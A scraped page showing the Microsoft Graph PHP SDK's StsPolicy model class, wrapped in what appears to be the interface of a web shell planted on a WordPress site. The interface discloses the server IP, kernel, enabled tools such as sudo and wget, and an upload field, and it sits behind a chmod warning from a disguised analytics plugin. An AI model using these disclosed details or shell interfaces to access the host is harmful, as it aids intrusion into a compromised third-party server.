Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* StsPolicy File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* StsPolicy class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class StsPolicy extends PolicyBase
{
/**
* Gets the definition
* A string collection containing a JSON string that defines the rules and settings for a policy. The syntax for the definition differs for each derived policy type. Required.
*
* @return array|null The definition
*/
public function getDefinition()
{
if (array_key_exists("definition", $this->_propDict)) {
return $this->_propDict["definition"];
} else {
return null;
}
}
/**
* Sets the definition
* A string collection containing a JSON string that defines the rules and settings for a policy. The syntax for the definition differs for each derived policy type. Required.
*
* @param string[] $val The definition
*
* @return StsPolicy
*/
public function setDefinition($val)
{
$this->_propDict["definition"] = $val;
return $this;
}
/**
* Gets the isOrganizationDefault
* If set to true, activates this policy. There can be many policies for the same policy type, but only one can be activated as the organization default. Optional, default value is false.
*
* @return bool|null The isOrganizationDefault
*/
public function getIsOrganizationDefault()
{
if (array_key_exists("isOrganizationDefault", $this->_propDict)) {
return $this->_propDict["isOrganizationDefault"];
} else {
return null;
}
}
/**
* Sets the isOrganizationDefault
* If set to true, activates this policy. There can be many policies for the same policy type, but only one can be activated as the organization default. Optional, default value is false.
*
* @param bool $val The isOrganizationDefault
*
* @return StsPolicy
*/
public function setIsOrganizationDefault($val)
{
$this->_propDict["isOrganizationDefault"] = boolval($val);
return $this;
}
/**
* Gets the appliesTo
*
* @return array|null The appliesTo
*/
public function getAppliesTo()
{
if (array_key_exists("appliesTo", $this->_propDict)) {
return $this->_propDict["appliesTo"];
} else {
return null;
}
}
/**
* Sets the appliesTo
*
* @param DirectoryObject[] $val The appliesTo
*
* @return StsPolicy
*/
public function setAppliesTo($val)
{
$this->_propDict["appliesTo"] = $val;
return $this;
}
}